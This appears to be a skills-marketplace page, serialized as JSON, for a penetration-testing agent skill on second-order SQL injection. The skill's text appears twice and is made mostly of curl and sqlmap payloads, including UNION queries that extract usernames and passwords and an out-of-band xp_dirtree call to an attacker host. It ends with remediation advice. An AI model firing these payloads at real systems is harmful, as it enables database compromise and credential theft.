[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6HNF65WWYKZY4F85FSB5MVC":3,"skill-same:01M6HNF65WWYKZY4F85FSB5MVC":114},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":28,"publishedAt":49,"linkOnly":50,"markdownContent":51,"markdownBody":52,"frontMatter":53,"refName":75,"commitSha":76,"skillDirectory":77,"forksCount":78,"repositoryHtmlUrl":79,"repositoryHomepageUrl":6,"ownerHtmlUrl":80,"ownerBlogUrl":6,"ownerDescription":81,"updatedAt":82,"install":83,"resources":96},"01M6HNF65WWYKZY4F85FSB5MVC","performing-second-order-sql-injection",null,"Detect and exploit second-order SQL injection vulnerabilities where malicious input is stored in a database and later executed in an unsafe SQL query during a different application operation.","HenriqueMC17\u002Fagente-core","HenriqueMC17","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F206460478?v=4","01M6HB63HBBF18AC4H09XTB549","Henrique Monteiro Cardoso","01M6HB63NGSQXWKWCFWW2B20W0",1,"Apache-2.0","https:\u002F\u002Fgithub.com\u002FHenriqueMC17\u002Fagente-core\u002Fblob\u002Fmain\u002Fmodules\u002Fperforming-second-order-sql-injection\u002FSKILL.md",[18,23],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000010","后端与接口","SCENARIO","使用场景",{"categoryNo":24,"categoryName":25,"taxonomyType":26,"taxonomyTypeDesc":27},"01JBSEEDCAT000000000000033","数据分析师","PROFESSION","适用职业",[29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48],"performing second order sql injection","performing","sql injection","injection","sql","database","sqli","database-security","SQL-injection","t1505","malicious","exploit","cm","later","007","query","input","de","cybersecurity","security","2026-11-10 10:12:30",false,"---\nname: performing-second-order-sql-injection\ndescription: Detect and exploit second-order SQL injection vulnerabilities where malicious input is stored in a database and later executed in an unsafe SQL query during a different application operation.\ndomain: cybersecurity\nsubdomain: web-application-security\ntags:\n- second-order-sqli\n- stored-sql-injection\n- sql-injection\n- database-security\n- web-security\n- blind-injection\n- persistent-sqli\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.PS-01\n- ID.RA-01\n- PR.DS-10\n- DE.CM-01\nmitre_attack:\n- T1190\n- T1059.007\n- T1505.003\n- T1083\n- T1055\ncategory: performing-second-order-sql-injection\n---\n# Performing Second-Order SQL Injection\n\n## When to Use\n- When first-order SQL injection testing reveals proper input sanitization at storage time\n- During penetration testing of applications with user-generated content stored in databases\n- When testing multi-step workflows where stored data feeds subsequent database queries\n- During assessment of admin panels that display or process user-submitted data\n- When evaluating stored procedure execution paths that use previously stored data\n\n## Prerequisites\n- Burp Suite Professional for request tracking across application flows\n- SQLMap with second-order injection support (--second-url flag)\n- Understanding of SQL injection fundamentals and blind extraction techniques\n- Two or more application functions (one for storing data, another for triggering execution)\n- Database error message monitoring or blind technique knowledge\n- Multiple user accounts for testing stored data across different contexts\n\n## Workflow\n\n### Step 1 — Identify Storage and Trigger Points\n```bash\n# Map the application to identify:\n# 1. STORAGE POINTS: Where user input is saved to database\n#    - User registration (username, email, address)\n#    - Profile update forms\n#    - Comment\u002Freview submission\n#    - File upload metadata\n#    - Order\u002Fbooking details\n\n# 2. TRIGGER POINTS: Where stored data is used in queries\n#    - Admin panels displaying user data\n#    - Report generation\n#    - Search functionality using stored preferences\n#    - Password reset using stored email\n#    - Export\u002Fdownload features\n\n# Register a user with SQL injection in the username\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fregister \\\n  -d \"username=admin'--&password=test123&email=test@test.com\"\n```\n\n### Step 2 — Inject Payloads via Storage Points\n```bash\n# Store SQL injection payload in username during registration\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fregister \\\n  -d \"username=test' OR '1'='1'--&password=Test1234&email=test@test.com\"\n\n# Store injection in profile fields\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fprofile \\\n  -H \"Cookie: session=AUTH_TOKEN\" \\\n  -d \"display_name=test' UNION SELECT password FROM users WHERE username='admin'--\"\n\n# Store injection in address field\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Faddress \\\n  -H \"Cookie: session=AUTH_TOKEN\" \\\n  -d \"address=123 Main St' OR 1=1--&city=Test&zip=12345\"\n\n# Store injection in comment\u002Freview\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Freview \\\n  -H \"Cookie: session=AUTH_TOKEN\" \\\n  -d \"product_id=1&review=Great product' UNION SELECT table_name FROM information_schema.tables--\"\n```\n\n### Step 3 — Trigger Execution of Stored Payloads\n```bash\n# Trigger via password change (uses stored username)\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fchange-password \\\n  -H \"Cookie: session=AUTH_TOKEN\" \\\n  -d \"old_password=Test1234&new_password=NewPass123\"\n\n# Trigger via admin user listing\ncurl -H \"Cookie: session=ADMIN_TOKEN\" http:\u002F\u002Ftarget.com\u002Fadmin\u002Fusers\n\n# Trigger via data export\ncurl -H \"Cookie: session=AUTH_TOKEN\" http:\u002F\u002Ftarget.com\u002Fapi\u002Fexport-data\n\n# Trigger via search using stored preferences\ncurl -H \"Cookie: session=AUTH_TOKEN\" http:\u002F\u002Ftarget.com\u002Fapi\u002Frecommendations\n\n# Trigger via report generation\ncurl -H \"Cookie: session=ADMIN_TOKEN\" \"http:\u002F\u002Ftarget.com\u002Fadmin\u002Freports?type=user-activity\"\n```\n\n### Step 4 — Use SQLMap for Second-Order Injection\n```bash\n# SQLMap with --second-url for second-order injection\n# Store payload at registration, trigger at profile page\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fregister\" \\\n  --data=\"username=*&password=test&email=test@test.com\" \\\n  --second-url=\"http:\u002F\u002Ftarget.com\u002Fprofile\" \\\n  --cookie=\"session=AUTH_TOKEN\" \\\n  --batch --dbs\n\n# Use --second-req for complex trigger requests\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fapi\u002Fupdate-profile\" \\\n  --data=\"display_name=*\" \\\n  --second-req=trigger_request.txt \\\n  --cookie=\"session=AUTH_TOKEN\" \\\n  --batch --tables\n\n# Content of trigger_request.txt:\n# GET \u002Fadmin\u002Fusers HTTP\u002F1.1\n# Host: target.com\n# Cookie: session=ADMIN_TOKEN\n```\n\n### Step 5 — Blind Second-Order Extraction\n```bash\n# Boolean-based blind: Check if stored payload causes different behavior\n# Store: test' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a'--\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fprofile \\\n  -H \"Cookie: session=AUTH_TOKEN\" \\\n  -d \"display_name=test' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a'--\"\n\n# Trigger and observe response difference\ncurl -H \"Cookie: session=AUTH_TOKEN\" http:\u002F\u002Ftarget.com\u002Fprofile\n\n# Time-based blind second-order\n# Store: test'; WAITFOR DELAY '0:0:5'--\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fprofile \\\n  -H \"Cookie: session=AUTH_TOKEN\" \\\n  -d \"display_name=test'; WAITFOR DELAY '0:0:5'--\"\n\n# Out-of-band extraction via DNS\n# Store: test'; EXEC xp_dirtree '\\\\attacker.burpcollaborator.net\\share'--\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fprofile \\\n  -H \"Cookie: session=AUTH_TOKEN\" \\\n  -d \"display_name=test'; EXEC master..xp_dirtree '\\\\\\\\attacker.burpcollaborator.net\\\\share'--\"\n```\n\n### Step 6 — Escalate to Full Database Compromise\n```bash\n# Once injection is confirmed, enumerate database\n# Store UNION-based payload\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fprofile \\\n  -d \"display_name=test' UNION SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()--\"\n\n# Extract credentials\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fprofile \\\n  -d \"display_name=test' UNION SELECT GROUP_CONCAT(username,0x3a,password) FROM users--\"\n\n# Trigger execution and read results\ncurl http:\u002F\u002Ftarget.com\u002Fprofile\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| Second-Order Injection | SQL payload stored safely, then executed unsafely in a later operation |\n| Storage Point | Application function where malicious input is saved to the database |\n| Trigger Point | Separate function that retrieves stored data and uses it in an unsafe query |\n| Trusted Data Assumption | Developer assumes database-stored data is safe, skipping parameterization |\n| Stored Procedure Chains | Injection through stored procedures that use previously saved user data |\n| Deferred Execution | Payload may not execute until hours or days after initial storage |\n| Cross-Context Injection | Data stored by one user triggers execution in another user's context |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| SQLMap | Automated SQL injection with --second-url support for second-order attacks |\n| Burp Suite | Request tracking and comparison across storage and trigger endpoints |\n| OWASP ZAP | Automated scanning with injection detection |\n| Commix | Automated command injection tool supporting second-order techniques |\n| Custom Python scripts | Building automated storage-and-trigger exploitation chains |\n| DBeaver\u002FDataGrip | Direct database access for verifying stored payloads |\n\n## Common Scenarios\n\n1. **Username-Based Attack** — Register with a SQL injection payload as username; the payload executes when an admin views the user list\n2. **Password Change Exploitation** — Store injection in username; when changing password, the application uses the stored username in an unsafe UPDATE query\n3. **Report Generation Attack** — Inject payload in stored data fields; triggering report generation uses stored data in aggregate queries\n4. **Cross-User Injection** — Inject payload in a shared data field (comments, reviews) that triggers when another user or admin processes the data\n5. **Export Function Exploit** — Inject payload in profile data that triggers during CSV\u002FPDF export operations\n\n## Output Format\n\n```\n## Second-Order SQL Injection Report\n- **Target**: http:\u002F\u002Ftarget.com\n- **Storage Point**: POST \u002Fregister (username field)\n- **Trigger Point**: GET \u002Fadmin\u002Fusers (admin panel)\n- **Database**: MySQL 8.0\n\n### Attack Flow\n1. Registered user with username: `admin' UNION SELECT password FROM users--`\n2. Application stored username safely using parameterized INSERT\n3. Admin panel retrieves usernames with unsafe string concatenation in SELECT\n4. Injected SQL executes, revealing all user passwords in admin view\n\n### Data Extracted\n| Table | Columns | Records |\n|-------|---------|---------|\n| users | username, password, email | 150 |\n| admin_tokens | token, user_id | 3 |\n\n### Remediation\n- Use parameterized queries for ALL database operations, including reads\n- Never trust data retrieved from the database as safe\n- Implement output encoding when displaying database content\n- Apply least-privilege database permissions\n- Enable SQL query logging for detecting injection attempts\n```\n","# Performing Second-Order SQL Injection\n\n## When to Use\n- When first-order SQL injection testing reveals proper input sanitization at storage time\n- During penetration testing of applications with user-generated content stored in databases\n- When testing multi-step workflows where stored data feeds subsequent database queries\n- During assessment of admin panels that display or process user-submitted data\n- When evaluating stored procedure execution paths that use previously stored data\n\n## Prerequisites\n- Burp Suite Professional for request tracking across application flows\n- SQLMap with second-order injection support (--second-url flag)\n- Understanding of SQL injection fundamentals and blind extraction techniques\n- Two or more application functions (one for storing data, another for triggering execution)\n- Database error message monitoring or blind technique knowledge\n- Multiple user accounts for testing stored data across different contexts\n\n## Workflow\n\n### Step 1 — Identify Storage and Trigger Points\n```bash\n# Map the application to identify:\n# 1. STORAGE POINTS: Where user input is saved to database\n#    - User registration (username, email, address)\n#    - Profile update forms\n#    - Comment\u002Freview submission\n#    - File upload metadata\n#    - Order\u002Fbooking details\n\n# 2. TRIGGER POINTS: Where stored data is used in queries\n#    - Admin panels displaying user data\n#    - Report generation\n#    - Search functionality using stored preferences\n#    - Password reset using stored email\n#    - Export\u002Fdownload features\n\n# Register a user with SQL injection in the username\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fregister \\\n  -d \"username=admin'--&password=test123&email=test@test.com\"\n```\n\n### Step 2 — Inject Payloads via Storage Points\n```bash\n# Store SQL injection payload in username during registration\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fregister \\\n  -d \"username=test' OR '1'='1'--&password=Test1234&email=test@test.com\"\n\n# Store injection in profile fields\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fprofile \\\n  -H \"Cookie: session=AUTH_TOKEN\" \\\n  -d \"display_name=test' UNION SELECT password FROM users WHERE username='admin'--\"\n\n# Store injection in address field\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Faddress \\\n  -H \"Cookie: session=AUTH_TOKEN\" \\\n  -d \"address=123 Main St' OR 1=1--&city=Test&zip=12345\"\n\n# Store injection in comment\u002Freview\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Freview \\\n  -H \"Cookie: session=AUTH_TOKEN\" \\\n  -d \"product_id=1&review=Great product' UNION SELECT table_name FROM information_schema.tables--\"\n```\n\n### Step 3 — Trigger Execution of Stored Payloads\n```bash\n# Trigger via password change (uses stored username)\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fchange-password \\\n  -H \"Cookie: session=AUTH_TOKEN\" \\\n  -d \"old_password=Test1234&new_password=NewPass123\"\n\n# Trigger via admin user listing\ncurl -H \"Cookie: session=ADMIN_TOKEN\" http:\u002F\u002Ftarget.com\u002Fadmin\u002Fusers\n\n# Trigger via data export\ncurl -H \"Cookie: session=AUTH_TOKEN\" http:\u002F\u002Ftarget.com\u002Fapi\u002Fexport-data\n\n# Trigger via search using stored preferences\ncurl -H \"Cookie: session=AUTH_TOKEN\" http:\u002F\u002Ftarget.com\u002Fapi\u002Frecommendations\n\n# Trigger via report generation\ncurl -H \"Cookie: session=ADMIN_TOKEN\" \"http:\u002F\u002Ftarget.com\u002Fadmin\u002Freports?type=user-activity\"\n```\n\n### Step 4 — Use SQLMap for Second-Order Injection\n```bash\n# SQLMap with --second-url for second-order injection\n# Store payload at registration, trigger at profile page\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fregister\" \\\n  --data=\"username=*&password=test&email=test@test.com\" \\\n  --second-url=\"http:\u002F\u002Ftarget.com\u002Fprofile\" \\\n  --cookie=\"session=AUTH_TOKEN\" \\\n  --batch --dbs\n\n# Use --second-req for complex trigger requests\nsqlmap -u \"http:\u002F\u002Ftarget.com\u002Fapi\u002Fupdate-profile\" \\\n  --data=\"display_name=*\" \\\n  --second-req=trigger_request.txt \\\n  --cookie=\"session=AUTH_TOKEN\" \\\n  --batch --tables\n\n# Content of trigger_request.txt:\n# GET \u002Fadmin\u002Fusers HTTP\u002F1.1\n# Host: target.com\n# Cookie: session=ADMIN_TOKEN\n```\n\n### Step 5 — Blind Second-Order Extraction\n```bash\n# Boolean-based blind: Check if stored payload causes different behavior\n# Store: test' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a'--\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fprofile \\\n  -H \"Cookie: session=AUTH_TOKEN\" \\\n  -d \"display_name=test' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a'--\"\n\n# Trigger and observe response difference\ncurl -H \"Cookie: session=AUTH_TOKEN\" http:\u002F\u002Ftarget.com\u002Fprofile\n\n# Time-based blind second-order\n# Store: test'; WAITFOR DELAY '0:0:5'--\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fprofile \\\n  -H \"Cookie: session=AUTH_TOKEN\" \\\n  -d \"display_name=test'; WAITFOR DELAY '0:0:5'--\"\n\n# Out-of-band extraction via DNS\n# Store: test'; EXEC xp_dirtree '\\\\attacker.burpcollaborator.net\\share'--\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fprofile \\\n  -H \"Cookie: session=AUTH_TOKEN\" \\\n  -d \"display_name=test'; EXEC master..xp_dirtree '\\\\\\\\attacker.burpcollaborator.net\\\\share'--\"\n```\n\n### Step 6 — Escalate to Full Database Compromise\n```bash\n# Once injection is confirmed, enumerate database\n# Store UNION-based payload\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fprofile \\\n  -d \"display_name=test' UNION SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()--\"\n\n# Extract credentials\ncurl -X POST http:\u002F\u002Ftarget.com\u002Fapi\u002Fprofile \\\n  -d \"display_name=test' UNION SELECT GROUP_CONCAT(username,0x3a,password) FROM users--\"\n\n# Trigger execution and read results\ncurl http:\u002F\u002Ftarget.com\u002Fprofile\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| Second-Order Injection | SQL payload stored safely, then executed unsafely in a later operation |\n| Storage Point | Application function where malicious input is saved to the database |\n| Trigger Point | Separate function that retrieves stored data and uses it in an unsafe query |\n| Trusted Data Assumption | Developer assumes database-stored data is safe, skipping parameterization |\n| Stored Procedure Chains | Injection through stored procedures that use previously saved user data |\n| Deferred Execution | Payload may not execute until hours or days after initial storage |\n| Cross-Context Injection | Data stored by one user triggers execution in another user's context |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| SQLMap | Automated SQL injection with --second-url support for second-order attacks |\n| Burp Suite | Request tracking and comparison across storage and trigger endpoints |\n| OWASP ZAP | Automated scanning with injection detection |\n| Commix | Automated command injection tool supporting second-order techniques |\n| Custom Python scripts | Building automated storage-and-trigger exploitation chains |\n| DBeaver\u002FDataGrip | Direct database access for verifying stored payloads |\n\n## Common Scenarios\n\n1. **Username-Based Attack** — Register with a SQL injection payload as username; the payload executes when an admin views the user list\n2. **Password Change Exploitation** — Store injection in username; when changing password, the application uses the stored username in an unsafe UPDATE query\n3. **Report Generation Attack** — Inject payload in stored data fields; triggering report generation uses stored data in aggregate queries\n4. **Cross-User Injection** — Inject payload in a shared data field (comments, reviews) that triggers when another user or admin processes the data\n5. **Export Function Exploit** — Inject payload in profile data that triggers during CSV\u002FPDF export operations\n\n## Output Format\n\n```\n## Second-Order SQL Injection Report\n- **Target**: http:\u002F\u002Ftarget.com\n- **Storage Point**: POST \u002Fregister (username field)\n- **Trigger Point**: GET \u002Fadmin\u002Fusers (admin panel)\n- **Database**: MySQL 8.0\n\n### Attack Flow\n1. Registered user with username: `admin' UNION SELECT password FROM users--`\n2. Application stored username safely using parameterized INSERT\n3. Admin panel retrieves usernames with unsafe string concatenation in SELECT\n4. Injected SQL executes, revealing all user passwords in admin view\n\n### Data Extracted\n| Table | Columns | Records |\n|-------|---------|---------|\n| users | username, password, email | 150 |\n| admin_tokens | token, user_id | 3 |\n\n### Remediation\n- Use parameterized queries for ALL database operations, including reads\n- Never trust data retrieved from the database as safe\n- Implement output encoding when displaying database content\n- Apply least-privilege database permissions\n- Enable SQL query logging for detecting injection attempts\n```\n",{"name":5,"tags":54,"author":61,"domain":47,"license":15,"version":62,"category":5,"nist_csf":63,"subdomain":68,"description":7,"mitre_attack":69},[55,56,57,36,58,59,60],"second-order-sqli","stored-sql-injection","sql-injection","web-security","blind-injection","persistent-sqli","mahipal","1.0",[64,65,66,67],"PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01","web-application-security",[70,71,72,73,74],"T1190","T1059.007","T1505.003","T1083","T1055","main","5eea5b3296f4673b5f481e8bcc1ba76281149f16","modules\u002Fperforming-second-order-sql-injection",0,"https:\u002F\u002Fgithub.com\u002FHenriqueMC17\u002Fagente-core","https:\u002F\u002Fgithub.com\u002FHenriqueMC17","Qualquer tecnologia suficientemente avançada é indistinguível da mágica.","2026-09-28 22:40:38",{"source":8,"skillName":5,"commands":84,"prompt":94,"zipAvailable":95},[85,88,91],{"tool":86,"command":87},"npx","npx skills add HenriqueMC17\u002Fagente-core --skill performing-second-order-sql-injection",{"tool":89,"command":90},"bunx","bunx skills add HenriqueMC17\u002Fagente-core --skill performing-second-order-sql-injection",{"tool":92,"command":93},"pnpm","pnpm dlx skills add HenriqueMC17\u002Fagente-core --skill performing-second-order-sql-injection","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FHenriqueMC17\u002Fagente-core\u002Fblob\u002Fmain\u002Fmodules\u002Fperforming-second-order-sql-injection\u002FSKILL.md",true,[97,102,108],{"path":98,"resourceType":98,"resourceTypeDesc":99,"sizeBytes":100,"sourceHtmlUrl":101},"LICENSE","许可证",11255,"https:\u002F\u002Fgithub.com\u002FHenriqueMC17\u002Fagente-core\u002Fblob\u002Fmain\u002Fmodules\u002Fperforming-second-order-sql-injection\u002FLICENSE",{"path":103,"resourceType":104,"resourceTypeDesc":105,"sizeBytes":106,"sourceHtmlUrl":107},"references\u002Fapi-reference.md","REFERENCE","参考文档",2712,"https:\u002F\u002Fgithub.com\u002FHenriqueMC17\u002Fagente-core\u002Fblob\u002Fmain\u002Fmodules\u002Fperforming-second-order-sql-injection\u002Freferences\u002Fapi-reference.md",{"path":109,"resourceType":110,"resourceTypeDesc":111,"sizeBytes":112,"sourceHtmlUrl":113},"scripts\u002Fagent.py","SCRIPT","脚本",6595,"https:\u002F\u002Fgithub.com\u002FHenriqueMC17\u002Fagente-core\u002Fblob\u002Fmain\u002Fmodules\u002Fperforming-second-order-sql-injection\u002Fscripts\u002Fagent.py",[115,144,170,192,208,227],{"skillNo":116,"name":117,"nameZh":6,"description":118,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":119,"categories":120,"keywords":124,"publishedAt":49},"01M6HPFF0RCN0X6WT5EBSV71GY","validating-backup-integrity-for-recovery","Validate backup integrity through cryptographic hash verification, automated restore testing, corruption detection, and recoverability checks to ensure backups are reliable for disaster recovery and ransomware response scenarios.","https:\u002F\u002Fgithub.com\u002FHenriqueMC17\u002Fagente-core\u002Fblob\u002Fmain\u002Fmodules\u002Fvalidating-backup-integrity-for-recovery\u002FSKILL.md",[121],{"categoryNo":122,"categoryName":123,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量",[125,126,127,128,129,130,47,131,132,133,134,135,136,137,138,139,140,141,142,143],"integrity","backup","recovery","validating backup integrity for recovery","for","testing","validate","verification","hash-verification","incident-response","ransomware","detection","t1078","t1490","disaster-recovery","restore","incident","disaster recovery","ransomware response",{"skillNo":145,"name":146,"nameZh":6,"description":147,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":148,"categories":149,"keywords":150,"publishedAt":49},"01M6HPFAWJVFK25Q33K3T7WQ8G","triaging-vulnerabilities-with-ssvc-framework","Triage and prioritize vulnerabilities using CISA's Stakeholder-Specific Vulnerability Categorization (SSVC) decision tree framework to produce actionable remediation priorities.","https:\u002F\u002Fgithub.com\u002FHenriqueMC17\u002Fagente-core\u002Fblob\u002Fmain\u002Fmodules\u002Ftriaging-vulnerabilities-with-ssvc-framework\u002FSKILL.md",[],[151,152,153,154,155,47,156,157,158,159,160,161,162,163,164,165,166,167,168,169],"vulnerabilities","framework","ssvc","triaging vulnerabilities with ssvc framework","with","triage and prioritize","CISA","vulnerability-management","risk-management","cvss","remediation","vulnerability","prioritization","decision-tree","prioritize","decision","priorities","actionable","tree",{"skillNo":171,"name":172,"nameZh":6,"description":173,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":174,"categories":175,"keywords":176,"publishedAt":49},"01M6HPF6JS9X72WP59094H3ASQ","triaging-security-incident","Performs initial triage of security incidents to determine severity, scope, and required response actions using the NIST SP 800-61r3 and SANS PICERL frameworks. Classifies incidents by type, assigns priority based on business impact, and routes...","https:\u002F\u002Fgithub.com\u002FHenriqueMC17\u002Fagente-core\u002Fblob\u002Fmain\u002Fmodules\u002Ftriaging-security-incident\u002FSKILL.md",[],[48,177,141,47,178,179,180,137,138,181,182,183,184,185,186,187,188,189,190,191],"triaging security incident","actions","soc","NIST","analysis","severity-classification","incident-triage","SANS-PICERL","SOC-operations","picerl","conversion","isolation","scope","impact","consistency",{"skillNo":193,"name":194,"nameZh":6,"description":195,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":196,"categories":197,"keywords":198,"publishedAt":49},"01M6HPF2EX6ZYNYYHKBRJN7GEF","triaging-security-incident-with-ir-playbook","Classify and prioritize security incidents using structured IR playbooks to determine severity, assign response teams, and initiate appropriate response procedures.","https:\u002F\u002Fgithub.com\u002FHenriqueMC17\u002Fagente-core\u002Fblob\u002Fmain\u002Fmodules\u002Ftriaging-security-incident-with-ir-playbook\u002FSKILL.md",[],[48,199,200,177,141,155,47,201,179,134,202,203,137,138,204,182,165,205,206,207],"playbook","triaging security incident with ir playbook","teams","IR-playbook","severity","classification","classify","incidents","initiate",{"skillNo":209,"name":210,"nameZh":6,"description":211,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":212,"categories":213,"keywords":214,"publishedAt":49},"01M6HPEY9XPGE7X95AG4XJFQAW","triaging-security-alerts-in-splunk","Triages security alerts in Splunk Enterprise Security by classifying severity, investigating notable events, correlating related telemetry, and making escalation or closure decisions using SPL queries and the Incident Review dashboard. Use when...","https:\u002F\u002Fgithub.com\u002FHenriqueMC17\u002Fagente-core\u002Fblob\u002Fmain\u002Fmodules\u002Ftriaging-security-alerts-in-splunk\u002FSKILL.md",[],[48,215,216,217,218,219,47,220,221,222,179,223,137,224,225,226,185,41,141,46],"security alerts","splunk","triaging security alerts in splunk","alerts","review","siem","dashboard","search","correlation-search","t1566","notable-events","incident-review",{"skillNo":228,"name":229,"nameZh":6,"description":230,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":231,"categories":232,"keywords":233,"publishedAt":49},"01M6HPET6XGEPEJPN7V032JGZ0","tracking-threat-actor-infrastructure","Threat actor infrastructure tracking involves monitoring and mapping adversary-controlled assets including command-and-control (C2) servers, phishing domains, exploit kit hosts, bulletproof hosting, a","https:\u002F\u002Fgithub.com\u002FHenriqueMC17\u002Fagente-core\u002Fblob\u002Fmain\u002Fmodules\u002Ftracking-threat-actor-infrastructure\u002FSKILL.md",[],[234,235,236,237,47,238,239,240,241,242,243,224,244,40,41,245,46,246,247,248],"infrastructure","tracking threat actor infrastructure","tracking","threat","monitoring","mitre-attack","threat-actor","threat-intelligence","command-and-control","dns","command","intelligence","domains","kit","hosts"]